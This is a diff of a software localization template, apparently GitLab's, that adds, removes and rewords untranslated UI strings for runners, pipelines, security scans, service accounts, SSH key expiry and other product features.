msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23340,6 +23702,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23376,6 +23741,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23571,6 +23939,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23619,9 +23990,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23664,6 +24041,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23685,6 +24065,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23782,6 +24165,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24005,7 +24391,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24161,7 +24547,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24245,6 +24631,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24335,19 +24727,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24369,6 +24761,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24408,6 +24806,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24429,6 +24830,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24447,7 +24851,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24687,6 +25091,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25045,6 +25452,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25141,9 +25551,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25396,6 +25803,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25711,9 +26124,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25843,6 +26253,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25858,9 +26271,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25951,10 +26361,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26095,6 +26505,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26122,9 +26535,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26365,7 +26775,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26647,7 +27057,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26668,13 +27078,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26716,13 +27126,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27052,9 +27465,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27133,6 +27543,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27400,12 +27813,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27475,6 +27894,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27499,6 +27921,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27520,6 +27945,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27724,6 +28155,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27931,6 +28365,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27949,9 +28386,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28312,6 +28755,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28474,6 +28920,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28588,6 +29037,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28691,9 +29146,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28863,6 +29315,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28890,6 +29345,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28899,6 +29357,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29016,15 +29480,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29040,6 +29504,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29109,6 +29576,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29133,6 +29603,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29320,6 +29793,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29341,6 +29817,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29359,6 +29838,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29437,7 +29919,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29452,6 +29934,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29473,6 +29961,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29512,6 +30003,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29583,6 +30077,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29903,6 +30400,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29957,6 +30457,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29969,6 +30472,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29990,6 +30496,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30002,12 +30511,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30041,6 +30556,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30050,6 +30568,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30080,12 +30601,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30143,19 +30670,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30236,21 +30769,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30649,6 +31167,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30673,6 +31194,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30721,7 +31245,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30736,7 +31260,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30748,7 +31272,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30808,6 +31332,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30817,6 +31344,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30841,6 +31371,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30910,7 +31446,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30919,6 +31458,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30940,6 +31482,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31159,7 +31707,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31192,6 +31740,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31330,6 +31881,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31534,9 +32088,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31636,7 +32187,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31648,6 +32208,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31693,6 +32256,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31774,6 +32340,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31831,9 +32400,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31910,9 +32476,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31979,6 +32542,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31994,6 +32578,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -32042,18 +32629,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32422,6 +33000,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32506,9 +33090,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32785,9 +33366,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32806,6 +33384,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32959,9 +33564,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -33106,6 +33708,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33127,7 +33732,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33136,6 +33741,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33157,6 +33765,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33172,6 +33786,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34161,10 +34778,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
